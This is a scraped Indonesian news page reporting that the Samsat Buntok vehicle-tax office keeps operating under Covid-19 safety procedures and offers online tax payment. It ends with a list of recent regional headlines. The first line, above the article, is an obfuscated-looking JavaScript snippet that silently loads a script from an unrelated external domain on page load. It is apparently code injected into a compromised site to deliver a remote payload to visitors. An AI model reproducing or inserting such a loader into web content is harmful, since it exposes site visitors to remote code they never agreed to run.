(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

Pakai SOP Covid-19, UPT PPD Buntok Tetap Operasional Beri Pelayanan Masyarakat


KANALKALIMANTAN.COM, BUNTOK – Meski saat ini Kabupaten Barsel berstatus zona merah Covid-19, namun sejumlah pelayanan dalam Unit Pelayanan Teknis Pelayanan Pendapatan Daerah (UPT PPD) atau Samsat Buntok tetap berjalan sesuai Standar Pelayanan Oprasional (SOP).

Kepala UPT PDD Trisnawati SE mengatakan, untuk pelayanan di samsat Buntok saat pandemi Covid-19 tetap berjalan normal. Namun dilaksanakan sesuai SOP yakni sesuai dengan anjuran pemerintah terkait jaga jarak baik antara petugas Samsat maupun pengunjung.

“Jadi kita tetap melakukan pelayanan seperti biasanya namun sekarang lebih menyesuaikan seperti anjuran Pemerintah, yakni dilakukan sesuai SOP sekarang,” kata Trisnawati kepada Kanalkalimantan.com, di kantornya Selasa (28/4/2020).

Dijelaskan olehnya, para pemohonan yang datang untuk mengurus izin akan dilakukan pengecekan suhu memakai alat termogan. Selain itu disediakannya alat cuci tangan dan hand sanitizer dan para pemohon juga dilakukan jarak saat menunggu proses pelayanan. “Jadi dari tempat cuci tangan dan antis kita sediakan, selain itu pemohon juga dilakukan pengecekan suhu tubuh serta saat menunggu proses dilakukan jarak sesama pemohon lain,” beber Trisnawati.

Lebih lanjut olehnya untuk capain target realisasi penerimaan UPT PDD pada tri wulan pertama tahun 2020 ini masih bisa dibilang mencapai target untuk samsat Buntok sendiri. Yakni 31,55% tidak jauh dengan capain target yang ditargetkan oleh samsat Buntok. “Jadi walaupun ditengah pandemi covid-19, untuk capain target kita pada tri wulan pertama masih bisa dibilang mencapai target yang di inginkan,” ujar Trisnawati.

Ditambahkan olehnya selain pelaksanaan pembayaran pajak langsung ke Samsat Buntok, pihaknya juga telah membuka pelayanan Samsat Online atau Samolnas jadi pemohon tidak usah sampai antri lagi nanun bisa lakukan proses pembayaran dengan sistem online.

“Jadi kita juga telah membuka sistem online sehingga pemohon bisa mengurus pajaknya lewat online dan tidak perlu ikut antri melakukan pemohonan pembayaran pajak,” pungkas Trisnawati.(kanalkalimantan.com/digdo)

 

Reporter : Digdo
Editor : Cell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.